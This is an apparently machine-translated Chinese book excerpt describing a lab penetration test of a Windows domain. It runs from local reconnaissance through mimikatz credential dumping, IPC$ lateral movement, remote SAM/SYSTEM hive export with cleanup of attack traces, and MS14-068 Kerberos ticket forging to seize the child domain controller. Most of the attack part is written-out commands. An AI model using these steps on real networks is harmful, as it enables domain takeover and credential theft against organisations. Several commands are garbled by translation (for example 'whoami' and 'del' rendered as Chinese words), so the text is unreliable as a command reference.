点击星星即可立即接收最新推文
本产品选自《内网安全攻防:红队之路》
扫描二维码五折购书
实战域渗透测试流程
对于黑客来说,拿下域控制器是最终目标。那么攻击者空间如何通过信息收集、权限提升、横向移动等一系列手段,分阶段拿下域控制器呢?我们将相关知识整理到一起,串联起内网的各种攻击技术。
实验环境概述
下图是某公司(化名:北京检测公司)的网络拓扑示意图。由于该公司员工较多,需要共享复杂的内网资源,因此专门配置了一个域环境test.com,位于公司内网之上。域控制器部署在域中,负责管理域内的权限和资源,并提供DNS服务器功能。下设办公部门和生产部门两个部门,IP地址网段不同。
随着公司的发展,我们考虑网络的规模和节省带宽的需要,在分支网络子域内建立一个单独的子域,以进一步方便分支网络的管理和规划。 test.com,它是公司内部网的一部分。子域控制器部署在由商务部门和制造部门两个部门组成的域中,IP地址不同网段。
假设攻击者攻陷了子域pc.subtest.com 中的商务部计算机。本章的目的是通过这台计算机关闭子域控制器,执行相关操作,并获取其用户名和密码的哈希值。所有子域用户的价值。
域网络拓扑图
1.北京TEST公司网络配置
域控制器相关配置:
域名:test.com
操作系统:Windows Server 2008
域名服务:AD域名+DNS服务
计算机名称:testdc.test.com
登录用户:bjadmin01
IP地址:10.1.1.100
DNS1:114.114.114.114(域控制器IP地址)
办公电脑相关设置:
域名:test.com
操作系统:Windows 7
域服务:无
计算机名称:bgs.test.com
登录用户:testuser1
IP地址:10.1.1.5
DNS1地址:10.1.1.100(主域控制器IP地址)
生产部电脑配置:
域名:test.com
操作系统:Windows 7
域服务:无
计算机名称:scb.test.com
登录用户:testuser2
IP地址:10.1.1.6
DNS1地址:10.1.1.100(主域控制器IP地址)
2、海南TEST子网
配置子域控制器:
域名:sub.test.com
操作系统:Windows Server 2012
域名服务:AD域名+DNS服务
计算机名称:dc.subtest.com
登录用户:hnadmin01 IP
地址:192.168.1.100
DNS1: 192.168.1.100(海南子域控制器IP地址)
DNS2: 10.1.1.100(北京父域域控制器IP地址)
商务部电脑配置:
域名:sub.test.com
操作系统:Windows 7
域服务:无
计算机名称:pc.subtest.com
登录用户:hnwangwu
IP地址:192.168.1.5
DNS1: 192.168.1.100(海南子域控制器IP地址)
生产部电脑配置:
域名:sub.test.com
操作系统:Windows 7
域服务:无
计算机名称:pc2.subtest.com
登录用户:hnzhaoliu
IP地址:192.168.1.6
DNS1: 192.168.1.100(海南子域控制器IP地址)
实战渗透测试思路简介
在实战中,由于分支机构员工网络安全意识不足,攻击者捕获的第一台内网计算机往往位于子域中。本节中,由于海南分公司官员的安全意识不足,下载并安装了恶意木马程序,子域内的一台正常计算机(主机名pc.sub.test.com)被假定钓鱼并控制。由攻击者。
攻击者的目标是使用子域中的这台常规计算机作为跳板来破坏子域的域控制器。
1. 信息收集
收集信息是内网渗透测试的第一步。通过了解受控计算机的本地信息和域网络的上下文,您可以了解自己和敌人。
步骤1. 收集有关本机的信息。
如果输入ipconfig /all 命令,您将看到该机器的主机名是PC,其IP 地址是192.168.1.5。具体来说,sub.test.com出现在DNS后缀列表中,并且主机处于域环境中。
如果输入systeminfo命令,您将看到本机的操作系统版本是Windows 7。
输入whoami 命令显示当前登录的用户。返回结果显示域环境下登录用户的名称。这里是sub\\hnwangwu。
键入net user hnwangwu/domain 以显示用户权限。这是一个普通的域用户。如果Domain Admins被列为全局组成员,则您已直接获得域管理员帐户。
ipconfig /全部
# 获取主机名、IP地址、域名等信息
系统信息
# 获取操作系统、安装的补丁等信息
我是谁
# 获取当前登录用户名
网络用户hnwangwu/域
# 获取域用户hnwangwu的内网权限
步骤2:收集有关您的域的相关信息。
原来当前计算机处于域环境。然后,您可以收集您域内的相关信息。
输入net group groupname /domain可查询域内组帐号相关信息。常用的组名称通常包括域管理员、域控制器、域用户、域计算机和其他四个组。要查询群组帐户,请输入以下每项信息:
网络组“域管理员”/domain
#显示所有域管理员帐户。这是hnadmin01
netgroup \’域控制器\’ /domain
#显示所有域控制器服务器名称: dc.sub.test.com
网络组“域计算机”/域
#显示域: dc.sub.test.com、pc.sub.test.com、pc2.sub.test.com中的所有计算机名称
网络组“域用户”/域
#显示所有域用户:hnadmin01、hnwangwu、hnzhaolliu
上述命令检查该域的相关信息,是否存在域林,以及其他相关情况。您可以通过输入以下命令来查询:
网络视图/域
# 该命令用于查询域名,显示结果为:test.com、sub.test.com、workgroup
可以看到Workgroup是工作组,另外两个结果是域名。从名称上可以看出,该公司有一个域林,父域名为test.com。
然后使用以下命令显示有关该父域的相关信息。
netview/domain:test
# 查询父域中计算机的状态。显示为dc.test.com、bgs.test.com、scb.test.com。
通过上述信息收集,攻击者首先识别当前的网络环境,并确定进一步渗透测试的方面。具体信息如下。
首先,确定攻击者当前控制的域计算机的角色。获取主机名、操作系统、IP 地址和其他信息。
二是进一步分析计算所在网络环境的拓扑。可以看到该计算机处于域环境中,域中部署了一台域控制器和两台普通域计算机。共有3 名域用户,其中1 名是域管理员。
第三,对当前域的网络环境进行初步判断。查询域名相关信息可知,当前域名是域名林中的一个子域名,该域名林包含1个父域和1个子域,父域名为test.com。
2. 捕获本地密码
攻击者最常用的方法之一是获取登录到该计算机的所有用户的用户名和密码(如果域管理员通过runas 或远程桌面登录该计算机)。用户权利。
具体操作如下。
使用米米卡兹。下载地址为https://github.com/gentilkiwi/mimikatz。解压后的目录结构如图所示。
mimikatz 目录结构
以管理员权限运行mimikatz.exe,在界面中输入以下命令即可获取登录计算机的用户名和明文密码。
权限:debug //提升权限
sekurlsa:logonpasswords //获取密码
分析捕获的用户名和密码。分支机构网络安全管理通常杂乱无章,增加了捕获其他域用户密码的可能性。假设攻击者已获取域用户hnzhaoliu的密码。
我们提醒读者,由于企业内网上的许多计算机上安装和使用的操作系统是相同的模板,因此本地管理员密码也将是相同的,除非内网禁用了远程登录权限。本地管理员用户。您可以使用您获取的本地管理员密码远程登录其他计算机(包括域控制器)。
3. 找到用户的登录机器。
对于获取到的域用户hnzhaoliu,可以使用net user hnzhaoliu /domain命令查看是否是普通域用户。那么你在哪些机器上有登录权限呢?
在内网攻击中,攻击者似乎在内网内移动,过程非常复杂和混乱。但实际上,攻击者之前曾使用定位工具来查看当前帐户有权访问哪些计算机。例如,可以使用微软官方提供的PsLoggedon工具来查询用户是否可以登录机器pc2.sub.test.com。这为横向运动的下一步提供了指示。具体命令为:如下。
PsLoggedon.exe \\\\pc2
# \\\\可以查询到本机登录用户为hnzhaoliu
4.通过IPC远程连接执行命令
使用找回的hnzhaoliu密码通过IPC远程连接目标电脑,进行上传下载操作,并执行相关命令找回目标电脑密码。
首先,建立ipc远程连接。
net use \\\\pc2\\ipc$ \’密码\’ /user:sub.test.com\\hnzhaoliu
# 建立ipc$: ipc$ 连接
# \”password\”: 用户的明文密码
#/user: 后接域名\\域用户名
创建一个新的批处理脚本,使用注册表方法远程导出目标计算机的SAM文件,并将脚本命名为runsam.bat。
reg 保存HKLM\\SAM sam.hiv
reg 保存HKLM\\SYSTEM system.hiv
出口
然后在命令行中使用以下命令将批处理runningam.bat 复制到目标计算机:
复制runsam.bat \\\\pc2\\C$\\windows\\temp\\
继续在命令行中输入以下命令,即可使用at命令为远程计算机pc2创建计划任务,以便在指定时间运行批处理。
位于\\\\pc2 10:10 c:\\windows\\temp\\runsam.bat
批处理运行后,会在批处理目录下生成两个相关文件,并将这两个文件从目标计算机pc2复制到本地计算机。
复制\\\\pc2\\C$\\windows\\temp\\sam.hiv
复制\\\\pc2\\C$\\windows\\temp\\system.hiv
记得清除关联的攻击记录,删除批处理脚本及其生成的两个文件,并断开与远程计算机pc2的IPC$连接。
删除\\\\PC2\\C$\\windows\\temp\\runsam.bat
戴尔\\\\PC2\\C$\\windows\\temp\\sam.hiv
删除\\\\PC2\\C$\\windows\\temp\\system.hiv
# 删除runsam.bat、sam.hiv、system.hiv
网络使用\\\\PC2\\ipc$ /del /y
# 删除ipc$ 连接
以管理员权限再次运行mimikatz,使用以下命令解析SAM文件密码。请注意,为了保证破解成功,system.hiv和sam.hiv这两个文件必须放在与mimikatz同一目录下。
lsadump:sam /sam:sam.hiv /system:system.hiv
虽然hnzhaoliu的密码是在域计算机pc2test.com上获得的,但由于没有域管理员密码,因此攻击者继续使用其他手段来获取域控制器权限。
5. 利用域用户提权漏洞关闭域控制器。
MS14-068 漏洞可能允许权限升级攻击。简而言之,我们使用PyKEK 工具的ms14-068.py 脚本生成具有域管理员权限的服务票证,并通过该票证登录域控制器。
ms14-068.py 使用的参数是:
-u@:用户名@域名
-s:用户SID
-d:域控制器名称.域名
-p:纯文本密码
–rc4:通过NTLM 哈希登录,无需明文密码。
使用PyKEK 生成高权限票证的命令格式为:
python ms14-068.py -u hnzhaoliu@sub.test.com p 密码-s S-1-5-21-4223730591-2862776806-5164649606-2215 d dc.sub.test.com
重新打开mimikatz,输入命令“kerberos:purge”,清除内存中已有的票据信息,如图所示。
从内存中清除票据
在mimikatz中输入以下命令,将假票注入内存。 如图所示,注入内存成功。
kerberos:ptc \’TGT_hnzhaoliu@sub.test.com.ccache\’
将高权限票插入内存
如果使用dir命令列出域控制器C盘的内容,则说明您已成功获取域控制器权限。
检查权限
综上,介绍两种获取域控制器登录权限的方法。一种方法是通过在不同域计算机上不断进行权限验证和横向移动来搜索域用户相关的登录信息,直到获得域管理员权限。第二种方法利用权限提升漏洞将普通域用户提升为域管理员权限。第三种可能性是攻击者可以利用域控制器系统中的漏洞直接登录域控制器,例如:近年来被广泛利用的一个重大且致命的ZeroLogon 漏洞。
总之,域控制器安全还有很长的路要走。
— 实验室现场培训课程—
加入MS08067,与超过20,000名同学一起学习
#以上各大连锁公司实际域名渗透相关内容来源网络,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93112.html